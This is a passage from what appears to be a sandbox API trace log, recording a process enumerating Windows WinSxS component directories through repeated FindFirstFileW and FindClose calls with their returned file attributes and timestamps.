lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcmf.inf_31bf3856ad364e35_6.1.7600.16385_none_6f8740b92fea8e01\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1860c3e3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x18632543, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x18632543, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.077] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcsto.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bd552b3f3855af60\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.078] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcsto.inf_31bf3856ad364e35_6.1.7600.16385_none_7fe64f7a6167bcf6\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a276ab7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a276ab7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a276ab7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.079] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcumd.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ce61ed8f7bb6c5c2\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.079] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.079] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcumd.inf_31bf3856ad364e35_6.1.7600.16385_none_82533c9760ae3cbc\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a276ab7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a2c2d77, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a2c2d77, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.080] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcwia.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d1399622ab7095d9\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.088] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfcwia.inf_31bf3856ad364e35_6.1.7600.16385_none_11493a3982b640b7\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18632543, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x186586a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x186586a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.093] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.094] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfport.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a68604fbf8306080\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.096] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_brmfport.inf_31bf3856ad364e35_6.1.7600.16385_none_b12cd02afc885a74\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186586a3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x186586a3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x186586a3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.099] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bth-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c2af6879929e9727\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8c117d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe8c117d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe8c117d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.102] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bth.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b480a3379367dfd4\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd77f3e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd9e1f7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd9e1f7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.105] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.106] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bth.inf_31bf3856ad364e35_6.1.7601.17514_none_d06ac9aad230c1d6\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2af1d3e, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x83de28f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83de28f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.108] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthmtpenum.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_151d393a7965b2e8\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10b7ebde, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b7ebde, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x10b7ebde, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.110] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthmtpenum.inf_31bf3856ad364e35_6.1.7600.16385_none_5becb46fada2de96\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23207a9f, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x23207a9f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x23207a9f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.112] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthpan.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b9b457911a7a4781\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.126] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthpan.inf_31bf3856ad364e35_6.1.7600.16385_none_e94e249f879c1b47\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.128] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthprint.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_93dfd9dabe50a1bf\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.129] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthprint.inf_31bf3856ad364e35_6.1.7600.16385_none_48d7a2fc59db271f\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.129] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthspp.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f435be2af5ccbe69\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.130] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_bthspp.inf_31bf3856ad364e35_6.1.7600.16385_none_99316f46cd92a1e5\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.131] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.131] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_caspol_b03f5f7f11d50a3a_6.1.7601.17514_none_f885d1129806720d\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e857479, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x94c81007, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94c81007, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.132] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cdrom.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_94afbf297141c911\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.134] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cdrom.inf_31bf3856ad364e35_6.1.7601.17514_none_bdcf6151ba66f48b\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e54d16, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83e54d16, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83e54d16, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.136] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_circlass.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b4ec6091a219beae\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.136] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_circlass.inf_31bf3856ad364e35_6.1.7600.16385_none_fd65696e44277672\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.137] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_compositebus.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f6f2bd35efd4e8c7\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd77f3e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd77f3e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd77f3e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.138] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_compositebus.inf_31bf3856ad364e35_6.1.7601.17514_none_177ed93b056892f1\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83dbc795, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83dbc795, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83dbc795, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.140] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cpu.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_53476b155eec25b4\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3226b4, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd3226b4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd3226b4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.143] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.144] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cpu.inf_31bf3856ad364e35_6.1.7600.16385_none_b93f4c460912265a\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a35b2f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a381459, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a381459, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.163] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_crcdisk.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b101c5afe5ce5e39\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd51c85, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd51c85, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd51c85, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.165] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_crcdisk.inf_31bf3856ad364e35_6.1.7600.16385_none_f380113d62574061\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19349e5b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19349e5b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19349e5b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.166] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.166] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_custommarshalers_b03f5f7f11d50a3a_6.1.7601.17514_none_feee409b39e33eea\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x893ba2f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x893ba2f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x893ba2f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.167] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cxfalcon_ibv64.inf_31bf3856ad364e35_6.1.7600.16385_none_a242cda757046042\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b36c796, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3928f6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3928f6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.169] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\winsxs\\amd64_cxfalpal_ibv64.inf_31bf3856ad364e35_6.1.7600.16385_none_db4796019d20adcb\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b3928f6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b3928f6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b3928f6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0072.172] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0072.173] FindFirstFileW (in: 